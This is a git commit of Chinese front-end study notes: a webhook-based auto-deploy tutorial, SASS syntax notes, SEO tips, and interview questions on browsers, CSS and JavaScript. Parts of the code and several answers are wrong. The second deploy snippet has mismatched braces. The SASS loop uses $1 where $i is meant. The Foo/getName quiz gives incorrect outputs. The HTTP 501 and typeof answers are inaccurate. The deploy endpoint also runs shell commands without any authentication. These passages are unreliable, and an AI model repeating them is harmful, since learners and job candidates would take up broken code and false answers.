新功能(docs): 新增文章

This commit is contained in:
haishan 2021-10-19 12:18:28 +08:00
parent 5c5348e37e
commit f659605fb1
10 changed files with 2247 additions and 0 deletions

158
docs/fea/CI.md Normal file
View File

@ -0,0 +1,158 @@
---
nav:
title: 前端
path: /fea
group:
title: 💊 CI持续集成
order: 9
path: /ci
---
# 💊 CI持续集成
前后端分离的概念现在已经应用的比较广了,它使我们的工作更加的高效,也提升了后期代码的可维护性,减少人力成本。
近年来 nodeJS 的出现,更让 js 提升到了一个新的高度同时衍生出了很多。grunt、gulp、webpack、parcel这些工具都是建立在 node 的基础上实现的,它们极大的提升了我们的开发的效率。
在一个公司,开发一般会分为几个阶段:
> 开发 -> 开发部署 -> 开发测试  -> 测试部署 -> 测试测试 -> 预发布部署 -> 预发布测试 -> 正式上线
> 基本上每次测试之前,我们都有一个部署阶段,而部署阶段,往往都依赖运维。那么问题来了,有没有一种简洁高效的方案,让我们从运维那个层面脱离出来,实现开发到上线,或者是开发至预上线的自动部署?答案是肯定的,在 node 的帮助下,这次我们可以装这波逼...
## 实现思路
通过 push git 上的代码webhooks 向你的 ECS 发送请求ECS 接收到请求后,重新拉取 git 上的最新数据,实现自动部署。
## 开发准备
- ECS centOS 7.2 64位
- GitHub 账号
- node 基本知识
- pm2、git
## 实现步骤
以叮叮消息推送举例:
### 第一步
首先,需要有一个服务器来模拟场景,如果是新手,建议新建一个账号,不要直接在 root 权限下运行。然后在服务器上安装git、pm2 和 node。新建一个项目文件夹npm 初始化后,在里面创建 app.js 文件,内容如下:
```javascript
var express = require('express')
var app = express()
var bodyParser = require('body-parser')
var path = require('path')
var { exec } = require('child_process')
// var fetch = require('node-fetch')
const PORT = 3008
app.use(bodyParser.json())
app.post('/CI', (req, res, next) => {
var project = 'travis_demo'
let PATH = path.resolve(__dirname, '../' + project)
var cmd = `cd ${PATH} && git reset --hard && git pull && pm2 restart ${project}`
// 将你想要运行的命令行代码输出运行
exec(cmd, (err, stdout, stderr) => {
if (err) {
res.writeHead(500)
res.end('Server Internal Error.')
throw err
}
console.log(`stdout: ${stdout}`);
console.log(`stderr: ${stderr}`);
res.writeHead(200)
res.end('this is good~')
})
})
app.listen(PORT, () => {
console.log('this app is running at port:' + PORT)
})
```
### 第二步
给云主机添加 ssh ,具体教程百度,我博客里面也有,好了之后将上面的接口暴露给你想自动部署的项目,位置在该项目下 setting 选项下的 Webhooks你可以设置它在什么场景下才会调用这个接口。
![](https://cdn.nlark.com/yuque/0/2021/png/195884/1623941985295-5657f93b-086e-40fc-a580-79d4f45ff6f5.png#align=left&display=inline&height=688&margin=%5Bobject%20Object%5D&originHeight=688&originWidth=1018&size=0&status=done&style=none&width=1018)
### 第三步
将这个项目通过 git clone 拉取到 ECS安装依赖后在项目根目录新建一个 bash 脚本(建议以该项目的文件夹名称命名),然后用 pm2 将该项目通过 pm2 start bash.sh 跑起来。
### 第四步
到了这一步,基本上已经 OK 了~
> 但是!!!
这样逼格还是不够高,不能满足我们的需求。我们捋一捋,一般情况下,项目是否部署成功,需要有个消息推送通知,这样我们可以及时的知道该项目目前的状态。钉钉为我们提供了这个功能,它可以让我们接入自定义的 webhooks。接下来我们将 ECS 的接口内容修改为:
```javascript
app.post('/CI', (req, res, next) => {
var project = 'travis_demo'
let PATH = path.resolve(__dirname, '../' + project)
var cmd = `cd ${PATH} && git reset --hard && git pull && pm2 restart ${project}`
// 将你想要运行的命令行代码输出运行
exec(cmd, (err, stdout, stderr) => {
if (err) {
res.writeHead(500)
res.end('Server Internal Error.')
throw err
}
let mes = {
"msgtype": "text",
"text": {
// 在钉钉上推送的自定义消息
"content": `我就是我, @1825718XXXX 是不一样的烟火`
}
}
}
// access_token 是创建机器人的那个人才能看见
fetch('https://oapi.dingtalk.com/robot/send?access_token=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(mes)
}
).then(response => response.json())
.then(json => console.log(json));
console.log(`stdout: ${stdout}`);
console.log(`stderr: ${stderr}`);
res.writeHead(200)
res.end('this is good~')
})
})
```
现在就是见证奇迹的时刻,当你每次 push 代码到 git 的时候ECS 会向钉钉推送消息,如下图所示:
![](https://cdn.nlark.com/yuque/0/2021/png/195884/1623941985305-2b15906e-a886-41ad-962a-d31ce170bd57.png#align=left&display=inline&height=186&margin=%5Bobject%20Object%5D&originHeight=186&originWidth=964&size=0&status=done&style=none&width=964)
## 总结
这篇文章总结的内容还只是从一个中端的角度思考的,对目前这种实现的方法唯一担心的地方就是安全,毕竟一万个人有一万种想法,所以才需要更深入的学习将它的坑位全部填满,待到技术成熟之日,就是抢后端饭碗之时~

315
docs/fea/sass.md Normal file
View File

@ -0,0 +1,315 @@
---
nav:
title: 前端
path: /fea
group:
title: 💊 SASS语法
order: 8
path: /sass
---
## 💊 SASS语法
### if 语句
```css
@mixin blockOrHidden($boolean: true) {
@if $boolean {
@debug "$boolean is #{$boolean}";
display: block;
}
@else {
@debug "$boolean is #{$boolean}";
display: none;
}
}
// 使用
.block {
@include blockOrHidden;
}
.hidden {
@include blockOrHidden(false);
}
```
### for 循环语句
有以下两种形式
1. @for $i from <start> through <end>
1. @for $i from <start> to <end>
> 区别2 的 <end> 不包括本身这个数
#### 简单例子
```css
@for $i from 1 through 10 {
.item-#{$i} {
width: 2em * $i;
}
}
```
#### 复杂例子
```css
$grid-prefix: span !default;
$grid-width: 60px !default;
$grid-gutter: 20px !default;
%grid {
float: left;
margin-left: $grid-gutter / 2;
margin-right: $grid-gutter / 2;
}
@for $i from 1 through 12 {
.#{$grid-prefix}#{$i} {
width: $grid-width * $1 + $grid-gutter * ($1 - 1);
@extend %grid;
}
}
```
###
### while 循环
```css
$types: 4;
$type-width: 20px;
@while $types > 0 {
.while-#{$types} {
width: $type-width + $types;
}
$types: $types - 1;
}
```
### each 语句
```css
$list: adam bob chris david eric;
@mixin author-images {
@each $author in $list {
.photo-#{$author} {
background: url('/images/avatars/#{$author}.jpg') norepeat;
}
}
}
.author-bio {
@include author-images;
}
```
## 列表函数
### length($list):返回长度
> length() 函数中的列表参数之间使用空格隔开,不能使用逗号
```css
length(5px 88px (border 66px solid) 4em (border 8em solid))
```
###
### nth($list, $n)
返回列表第几个值
```css
nth(1 2 3 4 5, 1) ----> 1
```
### join($list1, $list2, $separator)
> space空格、comma逗号
```css
join(1 2 3, 4 10 12, space)
---> (1 2 3 4 10 12)
```
### append($list1, $list2, $separator)
和 join 一样的效果
### zip($list1,$list2,...)
```css
zip(solid dashed dotted, 1px 3px 6px, #000 #fff #eee);
```
##
### index($list, $val)
找到 list 中 val 的索引
```css
index(1px solid red, 1px)
```
### type-of()
判断类型number、string、bool
### unitless()
判断一个值是否带有单位
### unit()
获取一个值得单位
### comparable()
判断两个数是否可以加、减、合并
### if($condition, $if-true, $if-false)
三元运算符
### map数组
```css
$map: (
$key1: $value1;
$key2: $value2;
)
$theme-color: (
default: (
bgcolor: #fff;
text-color: #444;
link-color: #39f;
),
primary: (
bgcolor: #000;
text-color: #fff;
link-color: #93f;
)
)
```
#### map-get($map, $key)
根据给定的 key获取 map 中相关的值
#### map-merge($map1, map2)
合并两个map
#### map-remove($map, $key)
删除指定 key 返回新map
#### map-keys($map)
返回 map 中所有 key 值
#### map-values($map)
返回 map 中所有 value 值
#### map-has-key($map, $key)
判断是否含有指定key值
#### keywords($args)
返回一个函数的参数
## 字符串函数
### unquote删除引号
> 只能删除最前和最后的引号
```css
.test {
content: unquote("im jsonskin");
}
```
### quote添加引号
> 如果监测到有引号,不会重复添加
```css
.test {
content: quote(给我加个引号吧);
}
```
### to-lower-case、to-upper-case
```css
.test {
text: to-upper-case(aa-bb-cc);
text: to-lower-case(AA-BB-Cc);
}
```
###
## 数字函数
### percentage($val)
将一个不带单位的数转换为百分比值;
### round($val)
四舍五入,取一个最接近的整数
### ceil($val)
将大于自己的小数换成下一位整数
### floor($val)
去除小数部分
### abs($val)
返回一个数的绝对值
### max($numbers...)
找出最大值
> 比较的数,单位要相同
### min($numbers...)
找出最小值
> 比较的数,单位要相同
### random()
获取随机数
## 规则
### @media
```css
@media screen ($condition: $val) {
.side-bar {
width: 100px;
}
}
```
### @extend
会继承 父级元素的属性,并继承它的子属性
```css
.container {
border: 1px solid #fff;
width: 100%;
height: 100%;
}
.container:hover {
color: #000;
}
.main {
@extend .main
}
```
### @at-root
跳出父级样式到根部
```css
.a {
.b {
.c {
@at-root {
color: red;
}
}
}
}
```
### @debug
调适使用
> @debug 1px + 2px
### @warn
> @warn "this is a warn: #{$val}"
### @error
> @error "this is a error: #{$msg}"

100
docs/fea/seo.md Normal file
View File

@ -0,0 +1,100 @@
---
nav:
title: 前端
path: /fea
group:
title: 💊 SEO
order: 7
path: /seo
---
# 💊 SEO
## 介绍
seo 目的是为了让搜索引擎更好的收录站点,通过关键字、打开速度、文案优化都有利于 **网站的SEO**
## 方法介绍
### 给网站添加site-map
类似一个地图导航告诉搜索引擎你的网站路径和网站重点内容这块地方重点突出标题和路径文件用sitemap.xmlbaidusitemap.xml这就是你的站点地图。
### 优化结构
seo搜索引擎优化认为网站的最佳结构是**用户从首页点击三次就可以到达任何一个页面**
四层结构sitename/year/mounth/day/title不利于seo
三层结构sitename/y/m-d-title良好
两层结构sitename/y-m-d-title最佳
### 标题优化
将HTML页面 title 改为 **{keywords} - { title }{ description }** 格式,有利于搜索引擎快速分类你的文章内容。
> 注意别堆砌关键字整个标题一般不超过80个字符可以通过chinaz的seo综合查询检查。
### 关键词与描述优化
```js
<meta name="keywords" content="tag1,tag2,tag3..." />
<meta name="description" content="${description}" />
```
### nofollow 标签
给非友情链接的出站链接添加 “nofollow” 标签nofollow标签是由谷歌领头创新的一个 “**反垃圾链接**” 的标签并被百度、yahoo等各大搜索引擎广泛支持引用nofollow标签的目的是用于指示搜索引擎不要追踪即抓取网页上的带有nofollow属性的任何出站链接以减少垃圾链接的分散网站权重。
```js
<a class="theme-link" href="https://nicecoders.github.io" rel="external">
// 改成
<a class="theme-link" href="https://nicecoders.github.io" rel="external nofollow">
```
### robots.txt文件
让机器人知道你的网站爬取的规则
```
User-agent: *
Allow: /
Allow: /archives/
Disallow: /vendors/
Disallow: /categories/
Sitemap: https://nicecoders.github.io/sitemap.xml
Sitemap: https://nicecoders.github.io/baidusitemap.xml
```
### 压缩文件
可以使用gulpwebpack等构建工具将文件压缩理论上文件越小加载越快权重会越高。
### 开启推送
将网站链接提交到百度,百度搜索引擎提交入口 ,然后验证你的网站这一点网上有很详细的教程我就不复述了验证确认你的网站后继续验证你的网站的robots.txt和sitemap文件是否可用一般都是可用的。
### 获取关键词
现在搜关键词全是广告,其实百度已经提供了一个接口,每次使用过百度搜索的时候下面的下拉条会出现一堆相关的关键词,这下关键词的权重是非常高的,采集这些关键词然后用在自己的文章中效果还可以,但是要记住不能堆砌关键词。
### H标签优化
H 标签的重要性可能是仅次与页面标签。H1->H6 的重要性依次降低。
建议在H1-H2标签中混入关键字H1全文只能出现一次
### 图片 ALT 文字优化
插入图片的时候会提示输入文字,这个不能敷衍。图片 ALT 文字出现的关键词对页面相关性也有一定的影响。同样的,也不要在 ALT 上堆砌关键词。
### 内部链接及锚文字优化
内部链接对于爬虫和收录具有很重要的意义。内部链接对页面关键词相关性也有影响,最主要的就是在内部链接中使用锚文字。
锚文字是告诉搜索引擎被链接页面主题内容的最重要依据之一。我们有时候可能无法控制外部链接的锚文字,但是对于站内的内部链接锚文字我们可以控制。不过有几点需要注意:
* 适当出现匹配关键词的锚文字
* 锚文字不能集中导航或者页尾,要分散在正文中
* 不要过度优化锚文字,要不然有可能会被搜索引擎惩罚

View File

@ -0,0 +1,116 @@
---
nav:
title: 面试
path: /interview
group:
title: 💊 面试题库
order: 2
---
# 计算机原理
## 描述一下cookiessessionStorage 和localStorage的区别
- cookie 在浏览器和服务器之间来回传递SS和LS不会
- SS和LS 的储存空间更大
- SS和LS 有更多丰富易用的接口
- SS和LS 是有各自的储存空间
- LS 储存是永久性的SS 关闭浏览器就没了
## 如何实现浏览器内多个标签之间的通信
- 调用LS Cookies 等本地储存方式
## IE6 BUG 的解决办法
- 双边距float引起使用display
- 3像素问题float引起 使用displayinline-3px
- 超链接 hover 点击失效, 注意顺序
- 无法定义1px左右的宽度容器使用overflowhiddenzoom0.08line-height1px
## 你有哪些性能优化的方法
- 减少http请求次数cssjshtml压缩图片大小控制和压缩网页cdn托管data缓存图片服务器
- 前端模板 js + 数据减少由于html导致的带宽浪费减少请求次数
- 图片预加载,将样式表放在头部,脚本放在底部,加上时间戳
- 用innerHTML代替dom操作减少dom操作次数优化js性能
- 当需要设置的样式很多时设置className而不是直接操作dom
- 避免在页面的主体布局中使用tabletable要在其中的内容完全下载完之后才会完全显示显示div+css布局慢。普通网站有一个普遍的思路就是尽量向前端化减少数据库操作减少磁盘IO
- 前端化:在不影响功能和体验的情况下,能在浏览器执行的不要在服务器执行,能在缓存服务器上直接返回的不要到应用服务器,程序能直接取到的结果不要到外部取,本机能取到的不要到远程取,内存能取到的不要到磁盘取,缓存中有的不要去数据库查询
- 减少数据库操作指减少更新次数缓存结果减少查询次数将数据库执行的操作尽可能的让你的操作完成减少磁盘IO指尽量不适用文件系统作为缓存减少读写文件次数等。
- 程序优化永远要优化慢的部分
## http 状态码有哪些?分别代表啥意思?
- 100-199 用于指定客户端相应的某些动作
- 200-299 用于表示请求成功
- 300-399 用于已经移动的文件并且常被包含在定位头信息中指定新的地址信息
- 400-499 用于指出客户端的错误。
> 400: 语义有误 401当前请求需要用户验证 403: 服务器已经理解请求,但是拒绝执行他 404页面找不到
- 500-599 用于支持服务器错误。501 服务器不可用
## 一个页面从输入 url 到页面显示完成,中间发生了什么?
- 查找浏览器缓存
- DNS 解析查找该域名对应的IP重定向301发出第二个 get 请求
- 进行HTTP 协议对话
- 客户端发送报头
- 文档开始下载
- 文档树建立根据标记请求所需指定mime类型的文件
- 文件显示
- 浏览器这边做的工作大致分为以下几步:
> 加载根据请求的url进行域名解析向服务器发起请求接受文件htmljscss图像等
> 解析对加载到的资源htmljscss进行语法解析建议相应的内部数据结构比如html的dom树js的属性表css的样式表规则等等
## 浏览器的渲染原理
![image.png](https://cdn.nlark.com/yuque/0/2021/png/195884/1612683125844-93e55bd2-58ba-4528-a47e-711c5659ad0b.png#height=129&id=EERpc&margin=%5Bobject%20Object%5D&name=image.png&originHeight=257&originWidth=791&originalType=binary&ratio=1&size=171550&status=done&style=none&width=395.5)
1浏览器会解析三个东西
- 一个是HTML/SVG/XHTML事实上Webkit有三个C++的类对应这三类文档。解析这三种文件会产生一个DOM Tree。
- CSS解析CSS会产生CSS规则树。
- Javascript脚本主要是通过DOM API和CSSOM API来操作DOM Tree和CSS Rule Tree.
2解析完成后浏览器引擎会通过DOM Tree 和 CSS Rule Tree 来构造 Rendering Tree。注意
- Rendering Tree 渲染树并不等同于DOM树因为一些像Header或display:none的东西就没必要放在渲染树中了。
- CSS 的 Rule Tree主要是为了完成匹配并把CSS Rule附加上Rendering Tree上的每个Element。也就是DOM结点。也就是所谓的Frame。
- 然后计算每个Frame也就是每个Element的位置这又叫layout和reflow过程。
3最后通过调用操作系统Native GUI的API绘制。
## 并发concurrency和并行parallelism区别
异步和这小节的知识点其实并不是一个概念,但是这两个名词确实是很多人都常会混淆的知识点。其实混淆的原因可能只是两个名词在中文上的相似,在英文上来说完全是不同的单词。
并发是宏观概念,我分别有任务 A 和任务 B在一段时间内通过任务间的切换完成了这两个任务这种情况就可以称之为并发。
并行是微观概念,假设 CPU 中存在两个核心,那么我就可以同时完成任务 A、B。同时完成多个任务的情况就可以称之为并行。

251
docs/interview/css.md Normal file
View File

@ -0,0 +1,251 @@
---
nav:
title: 面试
path: /interview
group:
title: 💊 面试题库
order: 2
---
## CSS
### 清除浮动
- 使用clear
- 使用overflow
- 使用css的*after
### 居中设置
#### 1· 水平居中
- flex布局
> 设置justify-contentcenter
#### 2· 垂直居中
- 多行文本(内联元素)
> a: 插入 table 再设置vertical-align: middle;
> b: 先设置display table-cell再设置vertical-align: middle;
### link 和 @import的区别
- link除了加载css还能用于定义RSS定义rel链接属性import只能引入css
- 页面加载时link同时加载而@import引用的css会等到页面被加载完之后再加载
- import 只在 ie5 以上被识别
### css 盒子模型
- contentpaddingmarginborder
### css 选择符号
- id选择器
- 类选择器
- 标签选择器
- 相邻选择器 +
- 子选择器 >
- 后代选择器
- 通配符选择器 *
- 属性选择器 a[rel = 'external'])
- 伪类选择器 hover nth-child
- 优先级
> !important > id > class > tag
### 列举不同的清除浮动的技巧
```javascript
/* 1.添加新元素 */
<div class="outer">
<div class="div1"></div>
<div class="div2"></div>
<div class="div3"></div>
<div class="clearfix"></div>
</div>
.clearfix {
clear: both;
}
/* 2.为父元素增加样式 */
.clearfix {
overflow: auto;
zoom: 1; // 处理兼容性
}
/* 3.:after 伪元素方法 (作用于父元素) */
.outer {
zoom: 1;
&:after {
display: block;
height: 0;
clear: both;
content: '.';
visibillity: hidden;
}
}
```
### 一像素边框
```javascript
/* 定义 */
@mixin border-1px ($color) {
position: relative;
&:after {
display: block;
position: absolute;
left: 0;
bottom: 0;
width: 100%;
border-top: 1px solid $color;
context: '';
}
}
@media (-webkit-min-device-pixel-radio: 1.5), (min-device-pixel-radio: 1.5) {
border-1px {
&:after {
-webkit-transform: scaleY(0.7);
transform: scaleY(0.7);
}
}
}
@media (-webkit-min-device-pixel-radio: 2), (min-device-pixel-radio: 2) {
border-1px {
&:after {
-webkit-transform: scaleY(0.5);
transform: scaleY(0.5);
}
}
}
/* 使用方式 */
@include border-1px(rgba(7, 17, 27, .1));
```
###
### 形成**BFC**(Block Formatting Context)的几种方式
```javascript
float为 left|right
overflow为 hidden|auto|scroll
display为 table-cell|table-caption|inline-block
position为 absolute|fixed
```
### 布局
#### 圣杯布局:中间 padding、左右 margin
```javascript
body {
min-width: 600px;
}
.container {
padding-left: 210px;
padding-right: 190px;
}
.main {
float: left;
width: 100%;
height: 300px;
background-color: rgba(255, 0, 0, .5);
}
.sub {
position: relative;
left: -210px;
float: left;
width: 200px;
height: 300px;
margin-left: -100%;
background-color: rgba(0, 255, 0, .5);
}
.extra {
position: relative;
right: -190px;
float: left;
width: 180px;
height: 300px;
margin-left: -180px;
background-color: rgba(0, 0, 255, 0.5);
}
```
#### 双飞翼布局
```html
//html
<body>
<div class="main-wrapper">
<div class="main"></div>
</div>
<div class="sub"></div>
<div class="extra"></div>
</body>
// css
<style>
.main-wrapper {
float: left;
width: 100%;
}
.main {
height: 300px;
margin-left: 210px;
margin-right: 190px;
background-color: rgba(255, 0, 0, .5);
}
.sub {
float: left;
width: 200px;
height: 300px;
margin-left: -100%;
background-color: rgba(0, 255, 0, .5);
}
.extra {
float: left;
width: 180px;
height: 300px;
margin-left: -180px;
background-color: rgba(0, 0, 255, .5);
}
</style>
```

View File

@ -0,0 +1,33 @@
---
nav:
title: 面试
path: /interview
group:
title: 💊 面试题库
order: 2
---
# 面试技巧
## 如何粗略判断公司是否靠谱
然后我们还得了解一家公司的情况,这里我推荐使用「天眼查」去查询一家公司的信息。在这里我们可以查询到一家公司的几个重要指标
具体的一个融资情况,一家公司好不好,拥有的资本肯定是重要的一块。一家不错的公司,往往前期融到的金额就很高
核心团队的介绍,通过介绍我们可以了解到高管的一个教育背景,行业的经验等等
公司涉及到了哪些司法、经营上的风险
然后还可以在网上查询一下这家公司是否有拖欠工资等等负面的消息。
## 如何回答问题
尽量不要止步于问题,也就是面试官问什么你答什么,而是把回答的点发散出去,引导面试官提问,展示自己的水平。
很推荐大家在准备面试的过程中,挖掘出自己擅长的技术内容,然后在面试的过程中,寻找机会引导面试官提问你擅长的技术点。
## 谈钱
具体的工资(也就是合同上签订的工资),不要杂七杂八什么绩效加起来的那种
五险一金缴纳的比例
加班是否有加班工资或者调休
是否是 996我个人很不推荐 996 的公司
加薪升职的情况
其他各种福利,比如餐补、房补、交通补、节假日福利、另外的保险等等

View File

@ -0,0 +1,656 @@
---
nav:
title: 面试
path: /interview
group:
title: 💊 面试题库
order: 2
---
## JavaScript
### `new` 操作符做了啥?
```html
创建一个空对象并且this变量引用该对象同时还继承了 该函数的原型
属性和方法被加入到this引用的对象中
新创建的对象由this所引用并且最后隐式的返回this
```
### typeof 返回哪些数据类型
- obj num fun bool undefined
### 3种强制类型转换两种隐式类型转换
- parseInt parseFloat number
- == - ===
### 数组方法pop() push() unshift() shift()
- push() 尾部添加 pop() 尾部删除
- unshift() 头部添加 shift() 头部删除
### ajax请求 get 和 post 的区别
- 一个在 url 后面,一个放在虚拟载体里面
- 有大小限制
- 安全问题
- 应用不同
### call 和 apply 的区别
- object.call(this, obj1,obj2,obj3)
- object.apply(this, argument)
### ajax 请求时,如何解析 json 数据
- 使用eval parse介于安全性考虑 使用parse 更靠谱
- eval 可以解析任何字符串parse只解析json格式的字符串
### 闭包是什么?
- 闭包就是能够读取其他函数内部变量的函数
### 添加 删除 替换 插入到某个节点的方法
- obj.appendChild()
- obj.innersetBefore()
- obj.replaceChild()
- obj.removeChild()
### javascript 同源策略
- 一段脚本只能读取来自同一来源的穿考核文档的属性,同源:指主机名,协议和端口号的组合
### 编写一个 b 继承 a 的方法
```javascript
function A(name) {
this.name = name;
this.sayHello = function(){alert(this.name+ "say hello!")}
}
function B(name, id) {
this.temp = A
this.temp(name)
delete this.temp
this.id = id
this.checkId = function(ID) {alert(this.id == ID)}
}
```
### 如何阻止事件冒泡和默认事件
```javascript
function stopBubble(e) {
if (e && e.stopPropagation) {
e.stopPropgation ()
} else {
window.event.cancelBubble = true
}
return false
}
```
### 谈谈this对象的理解
- this 是 js 的一个关键字, 随着函数使用场合不同this的值会发生变化
- 但是有一个原则this 指向的就是调用函数的那个对象
- this 一般情况下: 是指全局对象global 如果作为方法调用,就指向这个对象
### 简单讲下 node 的使用场景
- 高并发,聊天,实时消息推送
### node 的优点和缺点提出自己的看法
- 优点: node是基于时间驱动和无阻塞的所以非常适合处理并发请求因此构建在node上的代理服务器相比其他技术实现的服务器表现要好的多与node代理服务器交互的客户端代码也是用js写的用的相同的语言这感觉前后端非常亲切和美妙
- 缺点: node是一个相对比较新的开源项目所以不太稳定它总是在变而且缺少足够多的第三方库的支持
### `location.replace()`与`location.assign()`区别
```html
location.replace() 的 url 不会出现在 history 中
```
### AMD CMD CommonJS
#### Common.js
```html
主要是服务端前期的nodejs采用了这种规范。module.exports或exports负责对外暴漏数据require来引入
<!--a.js-->
module.exports = {
name: '四大名将'
}
<!--也可以用exports导出-->
<!--export.name = '四大名将'-->
<!--b.js-->
const res = require('./a.js')
console.log(res.name) // 四大名将
```
#### AMD: 加载完成后执行
```html
客户端加载时需要等待可能存在假死情况鉴于浏览器的特殊情况AMD规范出来了
它采用异步方式加载模块定义的所有依赖,在依赖加载完成后再执行回调函数。
<!-- 定义模块 -->
<!-- AMD中require的模块会先加载完成 依赖前置 提前执行 -->
define('module', ['dep1', 'dep2'], function(dep1, dep2){
  function foo(){
dep1.doSomething();
dep2.doSomething();
  }
  return {
    foo : foo
  };
})
<!-- 数组中声明需要加载的模块可以是模块名、js文件路径 -->
<!-- 两个参数:加载的模块,加载成功后的回调函数 -->
require(['module'], function(module){
module.foo()
});
```
#### CMDrequire 到依赖才执行
```html
CMD规范在2011年由seaJS提出CMD规范和AMD规范类似主要区别是CMD规范是就近加载依赖
延迟执行只有到require时依赖才执行。
<!-- a.js -->
define(function(require, exports, module) {
function foo(){
<!-- require的模块此时才会执行 依赖就近 延迟执行 而AMD中依赖是前置的 一开始就全都执行完毕了 -->
var dep1 = require('dep1')
dep1.doSomething();
 }
 <!--暴漏给外部调用-->
 exports.foo = foo
 
 /** return或者exports都行
 return {
  foo : foo
 };
 **/
});
<!-- b.js -->
seajs.use("./a", function(a){
a.foo()
});
```
#### DOM 操作
```html
// 创建节点
createDocumentFragment()
createElement()
createTextNode()
// 添加 移除 替换 插入
appendChild()
removeChild()
replaceChild()
insertBefore()
// 查找
getElementsByTagName()
getElementsByName()
getElementsByClassName()
getElementById()
querySelector()
querySelectorAll()
```
### JS设置css样式的几种方式
```html
/* 1.直接设置style属性 */
element.style.height = '100px';
/* 2.直接设置属性 */
element.setAttribute('height', '100px');
/* 3.使用setAttribute设置style属性 */
element.setAttribute('style', 'height: 100px !important');
/* 4.使用setProperty设置属性通过第三个参数设置important */
element.style.setProperty('height', '300px', 'important');
/* 5.设置cssText */
element.style.cssText += 'height: 100px !important';
```
### 阻止默认行为
```html
function stopDefault( e ) {
// 阻止默认浏览器动作(W3C)
if ( e && e.preventDefault ) {
e.preventDefault();
} else {
// IE中阻止函数器默认动作的方式
window.event.returnValue = false;
}
return false;
}
```
### 阻止冒泡
```html
function stopBubble(e) {
// 如果提供了事件对象则这是一个非IE浏览器
if ( e && e.stopPropagation ) {
// 因此它支持W3C的stopPropagation()方法
e.stopPropagation();
} else {
// 否则我们需要使用IE的方式来取消事件冒泡
window.event.cancelBubble = true;
}
}
```
### Ajax交互过程
```html
创建XMLHttpRequest对象,也就是创建一个异步调用对象.
创建一个新的HTTP请求,并指定该HTTP请求的方法、URL及验证信息.
设置响应HTTP请求状态变化的函数.
发送HTTP请求.
获取异步调用返回的数据.
使用JavaScript和DOM实现局部刷新.
```
### 考察知识点最广的JS面试题
[https://www.cnblogs.com/xxcanghai/p/5189353.html](https://www.cnblogs.com/xxcanghai/p/5189353.html)
```html
function Foo() {
getName = function () { alert(1); }
return this;
}
Foo.getName = function () { alert(2); }
Foo.prototype.getName = function () { alert(3); }
var getName = function () { alert(4); }
function getName () { alert(5); }
/* 写出输出 */
Foo.getName(); 3
getName(); 5
Foo().getName(); 3
getName();
new Foo.getName();
new Foo().getName();
new new Foo().getName();
```
### JS数组深浅拷贝
#### 浅拷贝
```javascript
// slice 实现
var arr = ['old', 1, true, null, undefined];
var new_arr = arr.slice();
new_arr[0] = 'new';
console.log(arr) // ["old", 1, true, null, undefined]
console.log(new_arr) // ["new", 1, true, null, undefined]
// concat 实现
var arr = ['old', 1, true, null, undefined];
var new_arr = arr.concat();
new_arr[0] = 'new';
console.log(arr) // ["old", 1, true, null, undefined]
console.log(new_arr) // ["new", 1, true, null, undefined]
```
#### 深拷贝
```javascript
// 简单版:不能拷贝 函数、undefined、symbol 、循环引用的对象
var arr = ['old', 1, true, ['old1', 'old2'], {old: 1}];
var new_arr = JSON.parse(JSON.stringify(arr));
new_arr[0] = 'new';
new_arr[3][0] = 'new1';
console.log(arr) // ["old", 1, true, ['old1', 'old2'], {old: 1}]
console.log(new_arr) // ["new", 1, true, ['new1', 'old2'], {old: 1}]
// 复杂版,可以完美拷贝
var deepCopy = function (obj) {
if (typeof obj !== 'object') {
return
}
var newObj = obj instanceof Array ? [] : {};
for (var key in obj) {
if (obj.hasOwnProperty(key)) {
newObj[key] = typeof obj[key] === 'object' ? deepCopy(obj[key]) : obj[key];
}
}
return newObj
}
```
###
### 数组去重
```javascript
// filter + indexOf
function unique (arr) {
var res = arr.filter(function (item, index, array) {
return array.indexOf(item) === index;
})
return res;
}
//filter + sort
function unique (arr) {
return arr.concat().sort().filter(function (item, index, array) {
return !index || item !== array[index - 1];
})
}
// ES6
function uniqu3 (arr) {
return [... new Set(arr)];
}
```
###
### 找出数组中的最大值
```javascript
// reduce
var arr = [6, 4, 1, 8, 2, 11, 3];
function max (prev, next) {
return Math.max(prev, next)
}
console.log(arr.reduce(max));
//apply
var arr = [6, 4, 1, 8, 2, 11, 3];
console.log(Math.max.apply(null, arr));
//ES6
var arr = [6, 4, 1, 8, 2, 11, 3];
function max (arr) {
return Math.max(...arr);
}
console.log(max(arr));
```
### 数组扁平化
```javascript
var arr = [1, [2, [3, 4]]];
function flatten(arr) {
while (arr.some(item => Array.isArray(item))) {
arr = [].concat(...arr);
}
return arr;
}
console.log(flatten(arr))
```
### 数据的基本类型
```javascript
1. symbol 2. string 3. number 4. null 5. boolean 6. undefind
```
### 数据类型判断
> 关键语句Object.prototype.toString.call(value) => [object ${Boolean Number String Function Array Date RegExp Object Error Null }]
```javascript
var class2type = {};
'Boolean Number String Function Array Date RegExp Object Error Null Undefined'.split(' ').map((item, index) => {
class2type['[object ' + item + ']'] = item.toLowerCase();
})
function type (obj) {
return typeof obj === 'object' || typeof obj === 'function' ?
class2type[{}.toString.call(obj)] || 'object' : typeof obj;
}
```
### typeof 和 instanceof 的区别?
```javascript
typeof 在原始类型中无法判断 null在对象类型中只能判断 object 和function
instanceof 可以判断对象类型的
```
### 防抖
```javascript
/*
* func需要调用的函数
* wait: 防抖时间
* immediate布尔值是否立即执行
**/
var debounce = function (func, wait, immediate) {
var timeout;
return function () {
var context = this;
var args = arguments;
if (timeout) clearTimeout(timeout);
if (immediate) { // 是否立即执行func
var callNow = !timeout;
timeout = setTimeout(function () {
timeout = null;
}, wait)
if (callNow) {
func.apply(context, args);
}
} else {
timeout = setTimeout(function () {
func.apply(context, args);
}, wait);
}
}
}
```
### 四则运算符
- 运算中其中一方为字符串,那么就会把另一方也转换为字符串
- 如果一方不是字符串或者数字,那么会将它转换为数字或者字符串
### this
1. 对于直接调用 foo 来说,不管 foo 函数被放在了什么地方this 一定是 window
1. 对于 obj.foo() 来说,我们只需要记住,谁调用了函数,谁就是 this所以在这个场景下 foo 函数中的 this 就是 obj 对象
1. 对于 new 的方式来说this 被永远绑定在了 c 上面,不会被任何方式改变 this
#### 箭头函数
1. this 指向只取决于包裹箭头函数的第一个普通函数的 this
1. 无法改变箭头函数的指向
